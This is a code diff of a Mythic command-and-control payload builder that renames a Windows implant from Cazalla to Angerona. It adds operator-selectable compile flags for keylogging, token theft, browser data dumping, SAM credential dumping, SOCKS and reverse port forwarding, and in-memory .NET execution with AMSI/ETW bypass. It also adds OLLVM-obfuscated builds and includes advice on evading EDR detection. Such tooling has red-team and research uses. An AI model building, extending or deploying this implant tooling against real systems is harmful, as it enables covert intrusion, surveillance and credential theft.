# Get selected commands and create compiler defines
selected_commands = self.commands.get_commands()
debug_messages.append(f"\n=== COMMAND SELECTION ===")
debug_messages.append(f"Total commands selected: {len(selected_commands)}")
debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
# Map command names to preprocessor define names
# Format: command_name -> ENABLE_XXX_CMD
command_to_define = {
"shell": "ENABLE_SHELL_CMD",
"cd": "ENABLE_CD_CMD",
"ls": "ENABLE_LS_CMD",
"pwd": "ENABLE_PWD_CMD",
"cp": "ENABLE_CP_CMD",
"mkdir": "ENABLE_MKDIR_CMD",
"rm": "ENABLE_RM_CMD",
"cat": "ENABLE_CAT_CMD",
"download": "ENABLE_DOWNLOAD_CMD",
"upload": "ENABLE_UPLOAD_CMD",
"screenshot": "ENABLE_SCREENSHOT_CMD",
"ps": "ENABLE_PS_CMD",
"kill": "ENABLE_KILL_CMD",
"socks": "ENABLE_SOCKS_CMD",
"rpfwd": "ENABLE_RPFWD_CMD",
"keylog_start": "ENABLE_KEYLOG_START_CMD",
"keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
"list_tokens": "ENABLE_LIST_TOKENS_CMD",
"steal_token": "ENABLE_STEAL_TOKEN_CMD",
"make_token": "ENABLE_MAKE_TOKEN_CMD",
"rev2self": "ENABLE_REV2SELF_CMD",
"whoami": "ENABLE_WHOAMI_CMD",
"browser_info": "ENABLE_BROWSER_INFO_CMD",
"browser_dump": "ENABLE_BROWSER_DUMP_CMD",
"samdump": "ENABLE_SAMDUMP_CMD",
"inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
"inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
}
# Generate compiler defines for selected commands
command_flags = []
for cmd_name in selected_commands:
if cmd_name in command_to_define:
define_name = command_to_define[cmd_name]
command_flags.append(f"-D{define_name}")
debug_messages.append(f" -> {cmd_name}: {define_name}")
# Core commands (exit, sleep) are always included, no flags needed
# Commands with builtin=True (sleep) are always included by Mythic
command_flags_str = " ".join(command_flags)
debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
if command_flags_str:
debug_messages.append(f"Command flags: {command_flags_str}")
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_path), agent_build_path.name)
@@ -206,7 +261,7 @@ class CazallaAgent(PayloadType):
debug_output = self.get_parameter("debug_output")
ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
# Replace placeholders in Config.h
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
@@ -266,17 +321,21 @@ class CazallaAgent(PayloadType):
# Determine build target and filename based on output format and debug settings
if debug_level == "none":
make_target = output_format
output_filename = f"cazalla.{output_format}"
output_filename = f"angerona.{output_format}"
make_flags = ""
else:
make_target = f"debug_{output_format}"
output_filename = f"cazalla-debug.{output_format}"
output_filename = f"angerona-debug.{output_format}"
# Pass debug level and output type to Makefile
# The Makefile will convert string values to numbers
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
# Add command flags to make command
if command_flags_str:
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"
proc = await asyncio.create_subprocess_shell(
command,
@@ -300,11 +359,15 @@ class CazallaAgent(PayloadType):
resp.build_message = f"Compilation failed: {compile_errors}"
return resp
# Obtain the MD5 and SHA256 of the compiled payload
md5_hash = hashlib.md5(open(filename, "rb").read()).hexdigest()
sha256_hash = hashlib.sha256(open(filename, "rb").read()).hexdigest()
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Successfully compiled cazalla{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
StepSuccess=True
))
@@ -336,16 +399,20 @@ class CazallaAgent(PayloadType):
elif ollvm_compilation == 2:
obfuscation_parameters = level_2_obfuscation_parameters
# Add command flags to OLLVM compilation
command_flags_ollvm = command_flags_str if command_flags_str else ""
# Compilation Command
compilation_command = f"clang -target x86_64-w64-mingw32 \
-fuse-ld=lld \
-DDEBUG_LEVEL={debug_level_docker} \
-DDEBUG_OUTPUT={debug_output_docker} \
{command_flags_ollvm} \
{obfuscation_parameters} \
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
--sysroot=/usr/x86_64-w64-mingw32 \
/tmp/cazalla/*.c \
-o /tmp/cazalla/cazalla.exe \
/tmp/angerona/*.c \
-o /tmp/angerona/angerona.exe \
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
@@ -353,7 +420,7 @@ class CazallaAgent(PayloadType):
create_container_command = [
"docker", "run",
"--name", f"{container_name}",
"--volume", f"{docker_volume_folder}:/tmp/cazalla/",
"--volume", f"{docker_volume_folder}:/tmp/angerona/",
"ollvm16-builder:latest",
"sh", "-c" ,compilation_command
]
@@ -367,7 +434,7 @@ class CazallaAgent(PayloadType):
try:
# Move agent_build_path.name to docker_volume_folder
copy_tree(f"{agent_build_path.name}/agent_code/cazalla", docker_volume_folder)
copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)
# Create Docker Container
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
@@ -384,13 +451,13 @@ class CazallaAgent(PayloadType):
return resp
# Get the output from the Docker Container
resp.payload = open(f"{docker_volume_folder}/cazalla.exe", "rb").read()
resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
resp.build_message = "Successfully built!"
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Successfully built cazalla.exe",
StepStdout=f"Successfully built angerona.exe",
StepSuccess=True
))
@@ -35,6 +35,9 @@ class DownloadCommand(CommandBase):
supported_ui_features = ["file_browser:download"]
author = "@KaseyaOFSTeam"
argument_class = DownloadArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
@@ -25,6 +25,10 @@ class ExitCommand(CommandBase):
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
@@ -246,14 +246,14 @@ class InlineExecuteCommand(CommandBase):
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
author = "@c0rnbread (adapted for Angerona)"
attackmapping = []
argument_class = InlineExecuteArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
@@ -259,14 +259,15 @@ class InlineExecuteAssemblyCommand(CommandBase):
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
author = "@c0rnbread (adapted for Angerona)"
script_only = True
attackmapping = []
argument_class = InlineExecuteAssemblyArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes(
dependencies=["inline_execute"],
alias=True
alias=True,
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
@@ -73,6 +73,9 @@ class KillCommand(CommandBase):
attackmapping = ["T1489"]
supported_ui_features = ["process_browser:kill"]
argument_class = KillArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
@@ -52,6 +52,9 @@ class ListTokensCommand(CommandBase):
author = "@KaseyaOFSTeam"
supported_ui_features = ["process_browser:list_tokens"]
argument_class = ListTokensArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
@@ -111,7 +111,7 @@ class LsCommand(CommandBase):
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
@@ -75,6 +75,9 @@ class MakeTokenCommand(CommandBase):
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.003"]
argument_class = MakeTokenArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
@@ -29,7 +29,7 @@ class PsCommand(CommandBase):
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
suggested_command=False
)
attackmapping = []
@@ -23,6 +23,9 @@ class Rev2SelfCommand(CommandBase):
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.001"]
argument_class = Rev2SelfArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
@@ -88,7 +88,6 @@ class RpfwdCommand(CommandBase):
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True,
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
@@ -25,6 +25,9 @@ class ScreenshotCommand(CommandBase):
author = "@KaseyaOFSTeam"
argument_class = ScreenshotArguments
attackmapping = ["T1113"]
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
@@ -30,13 +30,13 @@ class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell <command>"
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
@@ -80,7 +80,7 @@ class ShellCommand(CommandBase):
message += f"{warning}\n"
message += "\n"
message += "Consider using built-in Cazalla commands instead:\n"
message += "Consider using built-in Angerona commands instead:\n"
message += " • Use 'ps' instead of 'tasklist'\n"
message += " • Use 'ls' instead of 'dir'\n"
message += " • Use 'cat' instead of 'type'\n"

Some files were not shown because too many files have changed in this diff Show More